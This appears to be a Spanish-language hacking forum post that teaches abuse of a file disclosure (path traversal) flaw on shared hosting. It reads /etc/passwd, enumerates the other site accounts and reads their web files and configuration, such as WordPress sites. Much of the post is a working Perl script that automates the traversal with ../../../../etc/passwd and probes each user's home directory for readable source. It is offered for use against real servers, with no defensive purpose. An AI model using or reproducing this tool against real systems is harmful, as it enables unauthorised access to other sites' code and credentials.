
Sin Permisos? lol [ Atacando desde Dentro bypass + t00l]
Hola!! un saludo a todos, hace rato que no publico y quise hacerlo por primera vez en mucho tiempo, espero y les guste.
Cuando Tenemos algún Disclosure lo primero que hacemos es visualizar el archivo /etc/passwd
Código:
http://1.bp.blogspot.com/-8kK8UBIXhHM/TtQsA0X5HCI/AAAAAAAAAlY/GdcnjjXJaIQ/s1600/0.png
Y por lo tanto visualizaremos los demás archivos de la web que usualmente serian los archivos de configuracion
Haremos algo mas que solo visualizar esos archivos...
Supongamos que el Servidor Tiene sus paginas de este modoCódigo:
www.web1.com >> Aquí esta el Disclosure
www.web2.com
www.web3.com >> Aquí Trataremos de entrar (www.web3.com no es vulnerable por si sola)
www.web4.com
www.web5.com
/etc/passwdCódigo:
web1:x:30073:30036::/home/web1:/bin/bash
web2:x:30075:30037::/home/web2:/bin/bash
web3:x:30076:30038::/home/web3:/bin/bash
web4:x:30098:30039::/home/web4:/bin/bash
web5:x:30099:30040::/home/web5:/bin/bash
Si el disclosure esta en /home/web1 tratemos de acceder a otra web del mismo servidor
Vuln=/home/web3/htdocs/index.phpCódigo:
http://3.bp.blogspot.com/-S5FfGagZlZg/TtQrcHK-1_I/AAAAAAAAAkg/4-KqeCZr9VU/s1600/5.png
Si el Archivo esta vacío como en mi caso, no te decepciones intenta con directorios default como:
"www","htdocs","public_html","web",etc...
Vuln=/home/web3/www/index.phpCódigo:
http://4.bp.blogspot.com/-5WOqZDhuF2M/TtQs-0apFLI/AAAAAAAAAlg/zCq3xO6FYW8/s1600/4.png
Listo!! Discourse desde una web interna.Si no te funciona significa que los permisos están mejor administrados, pero no te desanimes ya que hay muchos servidores con esta vulnerabilidad.
Al parecer tiene instalado WordPrees.Código:
http://2.bp.blogspot.com/-n-wot3h6sPM/TtQtV7cRSSI/AAAAAAAAAlo/HZbSaR_gUXE/s1600/3.png
Listo!!, creo que con esto ya queda mas claro ^^.
Desde Una Shell Update
Desde un archivo en el servidor ya es mas fácil hacer todo el trabajo que estamos haciendo desde un disclosure.
Normalmente siempre revisamos los dominios y permisos que tenemos desde la misma web y cuando comúnmente nos encontramos con esto damos por perdidos los permisos de los demás dominios.
Código:
http://1.bp.blogspot.com/-7xC5-h0QoFU/TtQwBeV3U_I/AAAAAAAAAlw/bxSRfkpsmpY/s1600/1.png
Ahora aplicamos lo anterior modificando una variable GETCódigo:
http://3.bp.blogspot.com/-N5GNHEAhftE/TtQwqO0_-5I/AAAAAAAAAl4/x-Tkff-uekc/s1600/2.png
Listo!!, espero les haya gustado este peque tuto ^^
aqui les dejo una herramienta que hice para facilitar todo eso...
Código:
use HTTP::Request;
use LWP::UserAgent;
my $browser = LWP::UserAgent->new();
sub banner {
print "
_ _ _
|_ \/|_)|_| _ _ o __ (_| |_|/ \ _ _|_
|_) / | |_> _> | | |__| | |\_/_> |_
C o d e d by b 4 n z 0 k
* Modo de Uso :
* perl script.pl [Web] [Carpeta_web] [path_destino(Opcional)]\n
*\tperl script.pl www.web.com/archivo.php?disclosure= htdocs
";
}
$url = $ARGV[0]; # print "$vuln\n";
unless ($url) { &banner; }
$home = $ARGV[1]; # print "$home\n";
$dr = "home/"; #Esta Parte La deves de cambiar Manualmente dependiendo la informacion de "/etc/passwd"
$pt = "../../../../";
#$pt = "....//....//....//....//....//....//....//....//....//";
$bp = "";
@usuarios;
@vulnerados;
$archivo = $ARGV[2];
unless ($ARGV[2]) {
$archivo1 = "/index.php";
$archivo2 = "/index.html";
}
$url = "http://" . $url if $url !~ m/^http\:\/\//;
if ($url =~ m/^http\:\/\/([a-zA-Z0-9-.]+)\/(.*)/)
{ $host = $1; $path0 = $2; }
$path = $url . $path. $pt . $pt . $pt . "etc/passwd" . $bp;
print "$path\n";
my $request = $browser->get($path);
my $content = $request->content;
#print "$content\n";
if ($content =~ m/(.*):x:(.*):(.*):(.*):\/bin/g) {
while ($content =~ m/(.*):x:(.*):(.*):(.*):\/bin/g )
{ #print $1 . "\n";
push (@usuarios,$1); # Esto tambien puede cambiar el $1
} } else { print "\n[*] Error En la Injeccion.\n\n"; exit; }
&banner;
print "\n\n[*] # Ju4ck34ndo [ Server * $host ] d3sd3 d3ntr0 #\t[*]\n\n";
foreach $n (@usuarios) {
$path2 = $url . $pt . $pt . $pt . $bp . $pt . $pt . $pt . $dr . $n . "/" . $home;
# print "$path2\n";
unless ($ARGV[2]) {
$path_g=$path2 . "/index.php";
&requestt($path_g);
$path_g=$path2 . "/index.html";
&requestt;
}
if ($ARGV[2]) {
$path_g = $path2 . $archivo;
&requestt($path_g); }
}
sub requestt {
my $request2 = $browser->get($path_g);
my $content2 = $request2->content;
# print "$content2\n"; m/failed to open stream/
if ($content2 =~ m/\$(.*)/)
{
print "[#- pl0p -#]\t\ŧ# - [ $n ] - #\n";
push (@vulnerados,$path_g);
}
# else { print "# 3Rr0r # [$n]\t$path_g\n"; }
}
print "\n\n\t[ # - Webs Con Bypass de Permisos - # ]\n\n";
foreach $n (@vulnerados)
{
print "[*] $n\n\n";
}
sobre su uso...
Código:
http://b4nz0k.blogspot.mx/2011/12/bypass-users-to-host-perl-v12.html